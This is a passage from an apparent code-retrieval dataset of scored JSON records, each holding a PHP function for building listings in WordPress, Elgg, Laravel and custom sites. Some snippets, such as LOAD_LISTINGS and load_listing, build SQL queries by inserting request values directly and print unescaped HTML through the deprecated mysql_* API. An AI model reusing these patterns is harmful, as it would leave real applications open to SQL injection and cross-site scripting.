dateView($list[$i][\"date_complete\"]);\n\n\t\t\t$list[$i][\"object_path\"] = $this->objectPath($list[$i][\"object_id\"]);\n\n\t\t\t$this->PROTO->add(\"workflow\",$list[$i]);\n\t\t\t\n\t\t}\n\n\t}", "title": "" }, { "docid": "8c8203c1bf8458d78ed378fd084c9853", "score": "0.5386967", "text": "function lze_groupwanted_list() {\r\n\tglobal $wpdb;\r\n $list = $wpdb->get_results(\"SELECT ID, post_title FROM wp_posts WHERE post_type = 'lze_group_wanted'\");\r\n $wanted = array();\r\n foreach($list as $single_data) {\r\n if($single_data->post_title != \"Automatisch gespeicherter Entwurf\"){\r\n $id = $single_data->ID;\r\n $wanted[$id]['name'] = $single_data->post_title;\r\n $wanted[$id]['id'] = $id; \r\n $picobj = $wpdb->get_results(\"SELECT meta_value FROM wp_postmeta WHERE post_id = '\".$id.\"' AND meta_key='groupwanted_pic'\");\r\n foreach($picobj as $single_pic){\r\n $wanted[$id]['bild'] = $single_pic->meta_value;\r\n }\r\n }\r\n }\r\n \r\n \r\n echo '<h2>Groups</h2>';\r\n foreach ($wanted as $single_data) {\r\n echo '<div class=\"wantedlist frei gruppe\"><img src=\"'.$single_data['bild'].'\"><br><p>'.$single_data['name'].'</p><div class=\"description\"><a href=\"'.get_permalink($single_data['id']).'\" target=\"_blank\">Link zum Gesuch</a>';\r\n echo '</div></div>';\r\n } \r\n}", "title": "" }, { "docid": "a29a971d51fcb42465841db6bd2a38ad", "score": "0.5382459", "text": "public function viewList() {\n\n\t\t$context = (isset($this->options['list_type'])) ? $this->options['list_type'] : 'list';\n\n\t\telgg_push_context($context);\n\n\t\t$items = $this->getItems();\n\t\t$options = $this->getOptions();\n\t\t$count = $this->getCount();\n\n\t\t$offset = elgg_extract('offset', $options);\n\t\t$limit = elgg_extract('limit', $options);\n\t\t$base_url = elgg_extract('base_url', $options, '');\n\t\t$pagination = elgg_extract('pagination', $options, true);\n\t\t$offset_key = elgg_extract('offset_key', $options, 'offset');\n\t\t$position = elgg_extract('position', $options, 'after');\n\n\t\tif ($pagination && $count) {\n\t\t\t$nav = elgg_view('navigation/pagination', array(\n\t\t\t\t'base_url' => $base_url,\n\t\t\t\t'offset' => $offset,\n\t\t\t\t'count' => $count,\n\t\t\t\t'limit' => $limit,\n\t\t\t\t'offset_key' => $offset_key,\n\t\t\t));\n\t\t}\n\n\t\t$html .= '<div class=\"elgg-list-container\">';\n\n\t\tif ($position == 'before' || $position == 'both') {\n\t\t\t$html .= $nav;\n\t\t}\n\n\t\t$list_attrs = elgg_format_attributes($this->getListAttributes());\n\n\t\t$html .= \"<ul $list_attrs>\";\n\n\t\tforeach ($items as $item) {\n\n\t\t\t$view = elgg_view_list_item($item, $options);\n\n\t\t\tif (!$view) {\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t$has_items = true;\n\n\t\t\t$item_attrs = elgg_format_attributes($this->getItemAttributes($item));\n\n\t\t\t$html .= \"<li $item_attrs>$view</li>\";\n\t\t}\n\n\t\tif (!$has_items) {\n\t\t\t$html .= '<li class=\"elgg-list-placeholder\">' . elgg_echo('list:empty') . '</li>';\n\t\t}\n\n\t\t$html .= '</ul>';\n\n\t\tif ($position == 'after' || $position == 'both') {\n\t\t\t$html .= $nav;\n\t\t}\n\n\t\t$html .= '</div>';\n\n\t\telgg_pop_context();\n\n\t\treturn $html;\n\t}", "title": "" }, { "docid": "ba1e8b135505707823ea42592373c7cb", "score": "0.53795826", "text": "public function load_more_listing(Request $request){\n $post = $request->all();\n // dd($post);\n $listing = $this->common_model->listingSearch($post,'',$post['data'],items_count());\n // dd($listing);\n $data['html'] = '';\n if(count($listing)>0){\n foreach($listing as $key){\n if(isset($post['user_id']) && $post['user_id']){\n if($key->type==2){\n $url = url('/brickdetails').'/'.$key->id;\n $editurl = url('/edit-brick').'/'.$key->id;\n $tag = $key->no_of_openings.' Openings';\n $righttag = '<i class=\"bx bx-calendar\"></i> '.$key->lease_term.' '.$key->lease_term_unit.'';\n $associatedprice = '';\n }elseif($key->type==1){\n $url = url('/branddetails').'/'.$key->id;\n $editurl = url('/edit-brand').'/'.$key->id;\n $catdata = explode(',', $key->collaboration_type);\n $brands_data = [];\n foreach ($catdata as $cat) {\n $brands_data[] = $cat;\n }\n $tag = '';\n $collaboration_cat = $this->common_model->selectdata('collaboration_type','','','','',$brands_data);\n if(count($collaboration_cat)>0){\n $total = count($collaboration_cat);\n $check = 1;\n foreach($collaboration_cat as $value){\n $tag .= $value->name;\n if($total != $check){\n $tag .= ', ';\n }\n $check++;\n }\n }\n $righttag = '<i class=\"bx bx-tags\"></i> Category: '.$key->category_name;\n $associatedprice = '$'.$key->price_from.' - $'.$key->price_to;\n }elseif($key->type==3){\n $url = url('/fullspacedetails').'/'.$key->id;\n $editurl = url('/edit-full-space-landlord').'/'.$key->id;\n $tag = $key->space_category;\n $righttag = '<i class=\"bx bx-tags\"></i> Lease Term: '.$key->lease_term.' Years ';\n if($key->price_from){\n $associatedprice = '$'.$key->price_from.$key->price_unit;\n }else{\n $associatedprice = '';\n }\n }elseif($key->type==4){\n $url = url('/partialspacedetails').'/'.$key->id;\n $editurl = url('/edit-partial-space-landlord').'/'.$key->id;\n $tag = $key->lease_type;\n $righttag = '<i class=\"bx bx-tags\"></i> Current Use: ';\n if($key->current_use == '-1'){\n $righttag .= 'All';\n }elseif($key->current_use == '-2'){\n $righttag .= 'Not in use';\n }else{\n $righttag .= $key->current_use_name;\n }\n\n if($key->price_from){\n $associatedprice = '$'.$key->price_from.$key->price_unit;\n }else{\n $associatedprice = '';\n }\n }elseif($key->type==5){\n $url = url('/popupstoredetails').'/'.$key->id;\n $editurl = url('/edit-popup-landlord').'/'.$key->id;\n $catdata = explode(',', $key->ideal_uses);\n $brands_data = [];\n foreach ($catdata as $cat) {\n $brands_data[] = $cat;\n }\n $tag = '';\n $collaboration_cat = $this->common_model->selectdata('ideal_uses','','','','',$brands_data);\n if(count($collaboration_cat)>0){\n $total = count($collaboration_cat);\n $check = 1;\n foreach($collaboration_cat as $value){\n $tag .= $value->name;\n if($total != $check){\n $tag .= ', ';\n }\n $check++;\n }\n }\n\n\n $associatedprice = 'Account ID: #'.$key->id;\n if($key->daily_rate){\n $righttag = ' <ul class=\"list-stra-al\">\n <li class=\"main-prc\"> Price: </li>\n <li> $'.$key->daily_rate.'/day </li>\n <li> $'.$key->weekly_rate.'/week </li>\n <li> $'.$key->monthly_rate.'/month </li>\n </ul>' ;\n }else{\n $righttag = '' ;\n }\n\n\n }elseif($key->type==6){\n $url = url('/eventdetails').'/'.$key->id;\n $editurl = url('/edit-events-fairs-markets').'/'.$key->id;\n $tag = '';\n if($key->price_from){\n $associatedprice = '$'.$key->price_from.' '.$key->price_unit;\n $righttag = '<ul class=\"list-stra-al\">\n <li class=\"main-prc\"> Fee: </li>\n <li> $'.$key->price_from.'/'.$key->price_unit.'</li>\n </ul>';\n }else{\n $associatedprice = '';\n $righttag = '';\n }\n }\n\n\n $data['html'] .= ' <div class=\"col-lg-12 col-sm-12 col-md-6 single_listing_item'.$key->id.'\">\n <div class=\"single-listing-item new-stl-lyt\">\n <div class=\"row\">\n <div class=\"col-md-4\">\n <div class=\"listing-image\">\n <a href=\"'.$url.'\" class=\"d-block\"><img src=\"'.url('/').'/uploads/files/'.$key->image.'\" alt=\"image\"></a>';\n if($tag != ''){\n $data['html'] .= '<div class=\"listing-tag\">\n <a href=\"'.$url.'\" class=\"d-block\">'.$tag.'</a>\n </div>';\n }\n\n $data['html'] .= '\n </div>\n </div>\n <div class=\"col-md-8\">\n <div class=\"listing-content pl-0\">\n <h3><a href=\"'.$url.'\" class=\"d-inline-block\">'.$key->name.'</a></h3>\n <p class=\"mt-2 mb-2 fontsizepara\">'.Getdesc($key->description,200,1).'</p>\n <div class=\"d-flex align-items-center justify-content-between\">\n <div class=\"price\">\n <b data-toggle=\"tooltip\" data-placement=\"top\">';\n if($associatedprice != ''){\n $data['html'] .= $associatedprice;\n }\n $data['html'] .= ' </b>\n </div>\n <span class=\"location\"><i class=\"bx bx-map\"></i> '.$key->location_city.'</span>\n </div>\n </div>\n <div class=\"listing-box-footer br-st-a\">\n <a href=\"'.$url.'\" class=\"view-ayr\"> <i class=\"fa fa-eye\"></i> </a>\n <a href=\"'.$editurl.'\" class=\"edit-ayr\"> <i class=\"bx bx-pencil\"></i> </a>\n <a href=\"javascript:void(0);\" data-id=\"'.$key->id.'\" data-toggle=\"modal\" data-target=\"#delete-pop\" class=\"delete_listing delete-ayr\"> <i class=\"bx bx-trash\"></i> </a>\n <span class=\"tcts-yt\"> '.$righttag.' </span>\n </div>\n </div>\n </div>\n\n </div>\n </div> ';\n }else{\n $data['html'] .= '<div class=\"col-lg-4 col-sm-12 col-md-6\">\n <div class=\"single-listing-item ';\n if($key->type==2) $data['html'] .= 'bricks-borsr';\n elseif($key->type==1) $data['html'] .= 'brands-brosr';\n elseif($key->type==3) $data['html'] .= 'full-spce-brdr';\n elseif($key->type==4) $data['html'] .= 'partial-brdrs';\n elseif($key->type==5) $data['html'] .= 'popup-list';\n elseif($key->type==6) $data['html'] .= 'events-yell';\n $data['html'] .= '\">\n <div class=\"listing-image\">\n <a href=\"javascript:void(0);\" data-id=\"'.$key->id.'\" data-toggle=\"modal\" data-target=\"#listing-popup\" class=\"get_list_details_popup d-block\"><img src=\"'.url('/').'/uploads/files/'.$key->image.'\" alt=\"image\"></a>\n </a>\n\n <div class=\"listing-tag\">\n <a href=\"javascript:void(0);\" data-id=\"'.$key->id.'\" data-toggle=\"modal\" data-target=\"#listing-popup\" class=\"get_list_details_popup d-block\"><b> ID: </b>#'.$key->id.'</a>\n </div>\n <span class=\"lis-str-cat\">';\n if($key->type==2) $data['html'] .= 'Bricks';\n elseif($key->type==1) $data['html'] .= 'Brands';\n elseif($key->type==3) $data['html'] .= 'Full Space';\n elseif($key->type==4) $data['html'] .= 'Partial Space';\n elseif($key->type==5) $data['html'] .= 'Popup Stores';\n elseif($key->type==6) $data['html'] .= 'Event Fairs';\n $data['html'] .=' </span>\n </div>\n <a href=\"javascript:void(0);\" data-id=\"'.$key->id.'\" data-toggle=\"modal\" data-target=\"#listing-popup\" class=\"get_list_details_popup d-inline-block\">\n <div class=\"listing-content\">\n\n <h3>'.$key->name.'</h3>\n <p class=\"mt-2\">'.Getdesc($key->description,100,1).'</p>\n\n\n </div>\n </a>\n\n </div>\n </div>';\n }\n }\n }else{\n $data['html'] .=' <div class=\"col-lg-12 col-sm-12 col-md-6\">\n <div class=\"single-listing-item new-stl-lyt\">\n <center><h4> No Data Found.</h4></center>\n </div>\n </div>';\n }\n $data['count'] = count($listing);\n return json_encode($data);\n }", "title": "" }, { "docid": "6f31889468a91bd6719b515cd8cae558", "score": "0.5375404", "text": "function getDogGuestListEntry(){\n\n }", "title": "" }, { "docid": "a3c2b7fb11da0cb0e44fba14bc82ea11", "score": "0.5374426", "text": "protected function reset_listing(){\n unset($this->m_aListing);\n $this->m_aListing = NULL;\n $this->m_aListing = array(\n\t 'l_url' => '',\n\t\t\t'l_url_md5' => '',\n\t\t\t'l_uniq_md5' => '',\n\t 'l_www_id' => 0,\n\t\t\t'l_isPopular' => 0,\n\t\t\t'l_owner_www_id' => 'NULL',\n\t 'l_isDealer' => 0,\n\t 'l_subcategory' => '',\n\t 'l_make' => '',\n\t 'l_model' => '',\n\t 'l_year' => '',\n\t 'l_price' => '',\n\t 'l_geo_city' => '',\n\t 'l_geo_street' => '',\n\t 'l_geo_number' => '',\n\t 'l_geo_neigh' => '',\n\t 'l_contact_name' => '',\n\t 'l_contact_phone' => '',\n\t 'l_contact_email' => '',\n\t 'l_image' => '',\n\t 'l_description' => '',\n\t 'l_km' => '',\n\t 'l_color' => '',\n\t 'l_trtype' => '',\n\t 'l_encapacity' => '',\n\t 'l_fuel' => '',\n\t\t\t'l_gear' => '',\n\t 'l_owners' => '',\n\t 'l_condition' => '',\n\t 'l_wheelside' => '',\n\t 'l_headline' => '',\n\t 'l_moreinfo' => '',\n\t 'l_metro' => '',\n\t 'l_region' => '',\n\t 'l_country' => '',\n\t 'l_postdate' => '',\n\t 'l_i_km' => 0,\n\t 'l_i_year' => 0,\n\t 'l_i_encapacity' => 0,\n\t 'l_i_price' => 0,\n 'l_i_owners' => 0,\n 'l_rank' => 0,\n 'l_site_type' => 1,\n 'l_crawlerid' => -1,\n 'l_expiredate' => '',\n\t\t\t'l_longitude' => 0,\n\t\t\t'l_latitude' => 0\n\t );\n }", "title": "" }, { "docid": "952375469bf6f1e794ccc799b4d43be5", "score": "0.5374196", "text": "public function buildListLayout(): void\n {\n $this\n ->addColumn('nom', 4)\n ->addColumn('victoire', 2)\n ->addColumn('nul', 2)\n ->addColumn('defaite', 2)\n ->addColumn('forfait', 2);\n }", "title": "" }, { "docid": "3c4fff2d37c93c123918a0a40bd16a24", "score": "0.5368424", "text": "public function getContactLists();", "title": "" }, { "docid": "60d6bcc7fc9ad2815262b197a8cdb342", "score": "0.536212", "text": "function LOAD_LISTINGS($count,$category){\r\nglobal $Limit ;\r\n///Edit : where spam = no ;; spam posts should not be displayed\r\n$q = \"SELECT title,item_id,price,category,pictures FROM sn_listings WHERE spam = 'no' AND status = 'open'\" ;\r\n\r\nif($category !== 'all'){\r\n\t$q .= \" AND category = '$category' \" ; \r\n}\r\n\r\n\t$q .= \" ORDER BY item_id DESC LIMIT $count , $Limit\" ;\r\n\r\n$qry = mysql_query($q) or die (mysql_error());\r\n$return = array();\r\n$i = 0 ;\r\n\r\nwhile($r = mysql_fetch_array($qry)){\r\n\r\n$href = form_url($r['title'],$r['item_id'],$r['category']);\r\n$image = Pic_front_pic($r['pictures']) ; // pic a front picture\r\n\r\n$return[$i] = \"<a href='$href' class='field'><div class='category'>\".$r['category'].\"</div><table class='image'><tr><td>\".$image.\"</td></tr></table><label class='title'>\".$r['title'].\"<div class='price'>\".$r['price'].\"</div></a>\" ;\r\n\r\n$i++ ;\r\n}\r\n\t\r\n\treturn $return ;\r\n}", "title": "" }, { "docid": "8ef3e3e5c3b20ab0cd37336a4402ea5d", "score": "0.5361163", "text": "abstract protected function _index($listName, $id);", "title": "" }, { "docid": "758729c8968ff02105d5bc2321fb8b44", "score": "0.5355036", "text": "public function entries();", "title": "" }, { "docid": "a67cf2f9ecce67b38cae821b8b5ba909", "score": "0.53549325", "text": "function rousseaus_listing() {\n\n $escaped_content = urlencode('<h3>'. $this->title . '</h3>');\n $params = \"xid=\" . $this->xid . \"&\" . \n \"permalink=\" . $this->permalink . \"&\" . \n \"fb_prefix=\" . FACEBOOK_POST_ID_PREFIX . \"&\" . \n \"content=\" . $escaped_content . \"&\" . \n \"HTML=1\";\n\n /*\n $params = '{\"xid\":\"' . $this->xid .'\",' . \n '\"permalink\":\"' . $this->permalink . '\",' . \n '\"fb_prefix\":\"' . FACEBOOK_POST_ID_PREFIX . '\",' . \n '\"content\":\"' . $escaped_content . '\",' .\n '\"HTML\":1}';\n */\n\n return rousseaus_comments($params);\n }", "title": "" }, { "docid": "66975577cf394be1af6615640e460e21", "score": "0.5350098", "text": "function lists(){\n\t\t//echo $this->c->getTitle($_REQUEST['secondtype']);\n\t\t//dump($_SERVER);\n\t\tif($_REQUEST['infotype'] == 1){\n\t\t\t$infotype = '供应产品';\n\t\t}else{\n\t\t\t$infotype = \"求购产品\";\n\t\t}\n\t\t$this->assign('infotype',$infotype);\n\t\t$firsttype = $this->c->getTitle($_REQUEST['firsttype']);\n\t\t$this->assign('firsttype',$firsttype);\n\t\t$secondtype = $this->c->getTitle($_REQUEST['secondtype']);\n\t\t$this->assign('secondtype',$secondtype);\n\t\t//列表过滤器,生成查询Map对象\n\t\t$map = $this->_search ();\n\t\tif (method_exists ( $this, '_filter' )) {\n\t\t\t$this->_filter ( $map );\n\t\t}\n\t\tif($_REQUEST['secondtype']){\n\t\t\t$map['secondtype'] = array('like',\"%{$_REQUEST['secondtype']}%\");\n\t\t}\n\t\t$name=$this->getActionName();\n\t\t$model = D ($name);\n\t\tif (! empty ( $model )) {\n\t\t\t$this->_list ( $model, $map );\n\t\t}\n\t\t\n\t\t$r = $this->getCategoryList();\n\t\t$this->assign('category',$r);\n\t\t\n\t\t$pageTitle = $firsttype.\"_\".$secondtype.\"_\".C('SITE_TITLE');\n\t\t$this->assign('pageTitle',$pageTitle);\n\t\t$this->display ();\n\t\treturn;\n\t\t\n\t}", "title": "" }, { "docid": "fda91a8ed9d2531fcb2c52f1a6c6f6ba", "score": "0.53347886", "text": "function build_fb_comment_listing() {\n \n $this->fb_comment_listing = new FBCommentListing('', FACEBOOK_POST_ID_PREFIX . $this->entry_id);\n }", "title": "" }, { "docid": "e09ee2719476049d790c604da05de4f6", "score": "0.53343076", "text": "public function listAction() {\n\n\t\t$feed = $this->feedRepository->findByUid($this->settings['feed']);\n $args = $this->request->getArguments();\n if($feed) {\n $url = $feed->getUrl();\n $isLocal = $feed->getLocalfile();\n \n if ($isLocal == 1) {\n if (substr($url,0,1) !== '/') {\n $url = '/'.$url;\n }\n $path = $_SERVER['DOCUMENT_ROOT'].$url;\n } else {\n $ext = pathinfo($url, PATHINFO_EXTENSION);\n if (strlen($ext) == 0) {\n $ext = $feed->getType();\n }\n $path = $_SERVER['DOCUMENT_ROOT'].'/typo3temp/tx_iffluidfeed/'.md5($url).'.'.$ext;\n }\n\n $content = \\TYPO3\\CMS\\Core\\Utility\\GeneralUtility::getURL($path);\n\n if($content) {\n switch ($feed->getType()) {\n case \"xml\":\n $xml = simplexml_load_string($content,null,LIBXML_NOCDATA);\n $itemsArray = FeedController::xmlToArray($xml, true, $feed);\n $rawItems = $itemsArray[$feed->getOuterwrapper()][$feed->getWrapper()];\n break;\n case \"json\":\n $itemsArray = json_decode($content, true);\n $rawItems = $itemsArray[$feed->getOuterwrapper()];\n break;\n }\n //\\TYPO3\\CMS\\Extbase\\Utility\\DebuggerUtility::var_dump($rawItems);\n \n // Current Page\n if($this->settings[\"pagination\"]) {\n $perpage = (!empty($this->settings[\"perpage\"])? $this->settings[\"perpage\"] : 5);\n $page = (int)$args[\"page\"];\n $offset = ($page > 0) ? ($page-1)* $perpage : 0;\n $slice = array_slice($rawItems, $offset, $perpage);\n } else {\n $slice = $rawItems;\n }\n\n \n // Pager variables\n $totalPages = ceil(count($rawItems) / 5);\n $currentPage = $page? $page : 1;\n $nextPage = ($currentPage < $totalPages) ? $currentPage + 1 : false;\n $prevPage = ($currentPage != 1)? $currentPage - 1 : false;\n\n // View assignment\n $this->view->assign('items',$slice);\n $this->view->assign('totalpages', $totalPages);\n $this->view->assign('currentpage', $currentPage);\n $this->view->assign('nextpage', $nextPage);\n $this->view->assign('prevpage', $prevPage);\n $this->view->assign('sword', $args['sword']);\n } else {\n $this->view->assign('error', 'Feed at URL '.$path.' could not be fetched. Run scheduler task first to cache the file first.');\n }\n } else {\n $this->view->assign('error', 'No feed configuration was found. Please set this in the plugin.');\n }\n\t}", "title": "" }, { "docid": "f65743476b4238c6f7af978eba228378", "score": "0.53320456", "text": "function theme_thumbwhere_like_add_list($variables) {\n\n\n //$content = $variables['content'];\n $output = '';\n /*\n if ($content) {\n $output = '<dl class=\"thumbwhere_like-type-list\">';\n foreach ($content as $item) {\n $output .= '<dt>' . l($item['title'], $item['href']) . '</dt>';\n $output .= '<dd>' . filter_xss_admin($item['description']) . '</dd>';\n }\n $output .= '</dl>';\n }\n else {\n if (user_access('administer thumbwhere_like types')) {\n $output = '<p>' . t('ThumbWhereLike Entities cannot be added because you have not created any thumbwhere_like types yet. Go to the <a href=\"@create-thumbwhere_like-type\">thumbwhere_like type creation page</a> to add a new thumbwhere_like type.', array('@create-thumbwhere_like-type' => url('admin/structure/thumbwhere_like_types/add'))) . '</p>';\n }\n else {\n $output = '<p>' . t('No thumbwhere_like types have been created yet for you to use.') . '</p>';\n }\n }\n */\n return $output;\n}", "title": "" }, { "docid": "6f2362211dc89a1c5990aa7c44f87433", "score": "0.5331689", "text": "function getItems();", "title": "" }, { "docid": "df6596b5fdb99c2ef793cddf2482e86e", "score": "0.5321622", "text": "function GetListsForPulldown($filter = 'all',$active = true,$selectone = true)\n {\n $tmp = $this->GetLists($filter,$active);\n\n $results = array();\n if( $selectone )\n {\n\t$results[$this->Lang('select_one')] = '';\n }\n foreach( $tmp as $one )\n {\n\t$results[$one['name']] = $one['listid'];\n }\n\n return $results;\n }", "title": "" }, { "docid": "442a3a7c575e66e93fb40863fe516478", "score": "0.53198993", "text": "function load_listing($type,&$document) {\n\t$listdata = (substr_count('|tune|composer|composed|key|meter|',$document->sortby) ? 'scores' : 'lyrics');\n\t\n\t$index = !$document->section;\n\t\n\tif($index && substr_count('title',$document->sortby)) {\n\t\t//global database variable array passed to database connection from included \"f_dbase.php\"\n\t\tglobal $db;\n\t\tif(!$db['link']) {\n\t\t\tdb_connect($db);\n\t\t\t$db_collection = ($document->collection == '_' ? '%' : $document->collection);\n\t\t\t$results = mysql_query(\"SELECT title,title_sort,url FROM \". $db[\"tt3_indices\"] .\" WHERE type = '\".$type.\"' AND collection LIKE '%/\".$db_collection.\"/%' AND title_sort LIKE '\".$document->sortby.\"|%'\");\n\t\t\twhile($r = mysql_fetch_assoc($results)) {\n\t\t\t\t// grabs the first character after the pipe: field = sortby|title\n\t\t\t\t$indexed = strtoupper( substr($r['title_sort'],strpos($r['title_sort'],'|')+1,1) );\n\t\t\t\tif(!$indices[$indexed]) {\n\t\t\t\t\t$indices[$indexed]['title'] = $r['title'];\n\t\t\t\t\t$indices[$indexed]['url'] = $r['url'];\n\t\t\t\t} else {\n\t\t\t\t\t$indices[$indexed]['after'] = true;\n\t\t\t\t}\n\t\t\t}\n\t\t\tdb_disconnect($db);\n\t\t}\n\t}\n\t\n//\tglobal $rewrite_title_url;\n\t// returns jump menu code, changes listing xml passed by reference\n\t$xml = '';\n\t\n\t// all listings have at least a Whole List view and sort Index\n\t$menu =\n\t\"\\r\\n\\t\".'<option value=\"_\">Whole List</option>'\n\t.\"\\r\\n\\t\".'<option value=\"\"'.($index ? ' selected=\"selected\"' : '').'>'.ucfirst($document->sortby).' Index</option>'\n\t.\"\\r\\n\\t\".'<optgroup>';\n\n\tif($index) {\n\t\t$xml .= '<h2 class=\"first\">'.ucfirst($document->sortby).' Index'.($document->order == 'descending' ? ' (descending)': '').'</h2>';\n\t\t$xml .= '<ul>'.\"\\r\\n\";\n\t}\n\t//shorter alias\n\t$items = &$document->items;\n\t// flag for looking for previous section title\n\t$pFlag = ($document->section ? true : false);\n\t// flag for looking for next section title immediately set if at Index\n\t$nFlag = ($document->section && $document->type != 'bible' ? false : true);\n\tif($document->section == '_' && $document->type != 'bible') {\n\t\t$document->next_title = ucfirst($document->sortby).' Index';\n\t\t$nFlag = false;\n\t}\n\t// looping variable to compare with object's matching variable to determine if new section is needed\n\t$sort_m = false;\n\tforeach($items as $key => $item) {\n\t\tif($sort_m !== $item->sort_match) {\n\t\t\t$sort_m = $item->sort_match;\n\t\t\t// save it as the title immediately next after the current one; turn flag off\n\t\t\tif($nFlag) {\n\t\t\t\t$document->next_title = $item->sort_real;\n\t\t\t\t$nFlag = false;\n\t\t\t}\n\t\t\t// filters new section based on requested $document->section\n\t\t\tif(title_url_format($item->sort_real) == $document->section || $document->section == '_') {\n\t\t\t\t$si++;\n\t\t\t\t// spells out accidentals notation for browsers that don't render flats and sharps in HTML entities\n\t\t\t\tif(substr_count($item->sort_real,'&#')) {\n\t\t\t\t\t$item->sort_real = '<span title=\"'.preg_replace(array(\"'&#9837;'\",\"'&#9839;'\"),array(\" flat\",\" sharp\"),$item->sort_real).'\">'.$item->sort_real.'</span>';\n\t\t\t\t}\n\t\t\t\t// if section is a number, it must be linked specially\n\t\t\t\t$section_url = ($document->sortby == 'number' ? $item->sort_match.'00' : title_url_format($item->sort_real));\n\t\t\t\t$section_link = '<a href=\"'.level_url().$document->type.'/'.$document->collection.'/'.$section_url.'/'.add_query().'\">'.$item->sort_real.'</a>';\n\t\t\t\t$sort_section =\n\t\t\t\t\"\\r\\n\\t\".'<tr><td class=\"section_head\"'.($type != 'texts' ? ' colspan=\"2\"' : '').'><div class=\"left\"><p>'.$section_link.'</p></div><div class=\"right\"><p><a href=\"#logo\" title=\"Return to top\">^</a></p></div></td></tr>';\n\t\t\t\tif($type == 'texts') {\n\t\t\t\t\t$sort_section .=\n\t\t\t\t\t\"\\r\\n\\t\".'</table>'\n\t\t\t\t\t.\"\\r\\n\\t\".'<table summary=\"\">'.\"\\r\\n\\t\";\n\t\t\t\t}\n\t\t\t\t$pFlag = false; // stop looking for previous section title\n\t\t\t\t // if not at Whole List, start looking for next section title\n\t\t\t\tif($document->section != '_') { $nFlag = true; }\n\t\t\t\t// if no previous title being found yet, and this is not the whole list,\n\t\t\t\t// this indicates the current title is the first section, so the previous is the Whole List\n\t\t\t\tif(!$document->prev_title && $document->section != '_') {\n\t\t\t\t\t$document->prev_title = ucfirst($document->sortby).' Index';\n\t\t\t\t}\n//$sort_section .= \"<h1>2</h1>\". print_r($item,true); \n\t\t\t} else {\n\t\t\t\t// save it in case it is the title immediately previous to the current one\n\t\t\t\tif($pFlag) { $document->prev_title = $item->sort_real; }\n\t\t\t}\n\t\t\tif($index) {\n\t\t\t\tif(substr_count('title',$document->sortby)) {\n\t\t\t\t\t$xml .= \"\\r\\n\\t\".'<li class=\"index\">'\n\t\t\t\t\t\t.'<div class=\"item\"><a href=\"'.($document->sortby == 'number' ? $item->sort_match.'00' : title_url_format($item->sort_real)).'/?sortby='.$document->sortby.($document->order == 'descending' ? '&amp;order=descending' : '').'\">'.$item->sort_real.'</a></div>'\n\t\t\t\t\t\t.'<div class=\"excerpt\"><span><a href=\"'.level_url().$indices[$item->sort_real]['url'].'\">'.$indices[$item->sort_real]['title'].'</a>'.($indices[$item->sort_real]['after'] ? ', ... ' : '').'</span></div>'\n\t\t\t\t\t\t.'</li>';\n\t\t\t\t} else {\n\t\t\t\t\t$xml .= \"\\r\\n\\t\".'<li><a href=\"'.($document->sortby == 'number' ? $item->sort_match.'00' : title_url_format($item->sort_real)).'/?sortby='.$document->sortby.($document->order == 'descending' ? '&amp;order=descending' : '').'\">'.$item->sort_real.'</a></li>';\n\t\t\t\t}\n\t\t\t}\n\t\t\t$menu .= \"\\r\\n\\t\".'<option value=\"'.($document->sortby == 'number' ? $item->sort_match.'00' : title_url_format($item->sort_real)).'\"'.(title_url_format($item->sort_real) == $document->section ? ' selected=\"selected\"' : '').'>'.$item->sort_real.'</option>';\n\t\t} else {\n\t\t\t$sort_section = '';\n\t\t}\n\n\t\t// if listing texts, update collection name, in case a title url needs rewriting\n//\t\tif($type == 'texts') { $rewrite_title_url = $item->collection; }\n\t\t\n\t\t$url_title = $item->url_title;\n\t\t$tooltip_title = title_tooltip_format($item->title);\n\n\t\t// variables used if sorting by scores\n\t\t$scoretitle;\n\t\t$scoreauthor;\n\t\t$scoremeter;\n\t\t$scorekey;\n\t\tif($type == 'music') {\n\t\t\t// inserts links to Scorch pages, if available\n\t\t\t$score_links = '';\n\t\t\tif($item->score) {\n\t\t\t\tforeach($item->score as $s_id => $score) {\n\t\t\t\t\t$s_t = '_'.strtolower(str_replace('_','',title_url_format($score->title))).'0_';\n//echo \"\\r\\n$s_t|$key\"; \n\t\t\t\t\t// if sorting by score data, score must match title key\n\t\t\t\t\tif((substr_count($key,$s_t) && $listdata == 'scores') || $listdata != 'scores') {\n\t\t\t\t\t\tif($score->sib) {\n\t\t\t\t\t\t\t// create tooltip-compatible title|author string\n\t\t\t\t\t\t\t$tooltip = ($score->title ? $score->title.' | ' : '').preg_replace(\"'^.+>(.*?)<[\\s\\S]+$'\",\"$1\",$score->author);\n\t\t\t\t\t\t\t$score_links .= '<a href=\"'.level_url().'music/'\n\t\t\t\t\t\t\t// append score id, if any, to link\n\t\t\t\t\t\t\t.title_url_format($item->title).'/score'.($score->id ? '_'.$score->id : '')\n\t\t\t\t\t\t\t.'/\" title=\"'.title_tooltip_format($tooltip).'\">'\n\t\t\t\t\t\t\t.'<img src=\"'.level_url_webfront().'link_score.gif\" alt=\"'.title_tooltip_format($tooltip).'\" /></a> ';\n\t\t\t\t\t\t} elseif($listdata == 'scores') {\n\t\t\t\t\t\t\tcontinue 2; // if sorting by scores and no score is available, skip\n\t\t\t\t\t\t}\n\t\t\t\t\t\t$scoretitle = $score->title;\n\t\t\t\t\t\t$scoreauthor = preg_replace(\"'^.+>(.*?)<[\\s\\S]+$'\",\"$1\",$score->author);\n\t\t\t\t\t\t$scoremeter = $score->meter;\n\t\t\t\t\t\t$scorekey = preg_replace(array(\"'b'\",\"'s'\"),array(\"&#9837;\",\"&#9839;\"), $score->key); // converts flats (b) and sharps (s) notation to HTML characters\n\t\t\t\t\t\tif(substr_count($scorekey,'&#')) {\n\t\t\t\t\t\t\t$scorekey = '<span title=\"'.preg_replace(array(\"'&#9837;'\",\"'&#9839;'\"),array(\" flat\",\" sharp\"),$scorekey).'\">'.$scorekey.'</span>'; // for browsers that don't render flats and sharps notation, spell out\n\t\t\t\t\t\t}\n\t\t\t\t\t\t// the limitations of listing by scores prevents multiple scores per listing\n\t\t\t\t\t\tif($listdata == 'scores') { break; }\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} elseif($type == 'texts') {\n\t\t\tif($document->sortby == 'issue') { // search engines should prioritize sorting by issue page\n\t\t\t\t$coll = str_replace('_',' ',$document->collection);\n\t\t\t\t$coll_prefix = (substr_count('|Foundation Truth|Treasures of the Kingdom|Dear Princess|',$coll) ? $coll.' ' : '');\n\t\t\t}\n\t\t\t$text_header =\n\t\t\t\"\\r\\n\\t\".'<tr><td class=\"icon\" rowspan=\"3\"><a 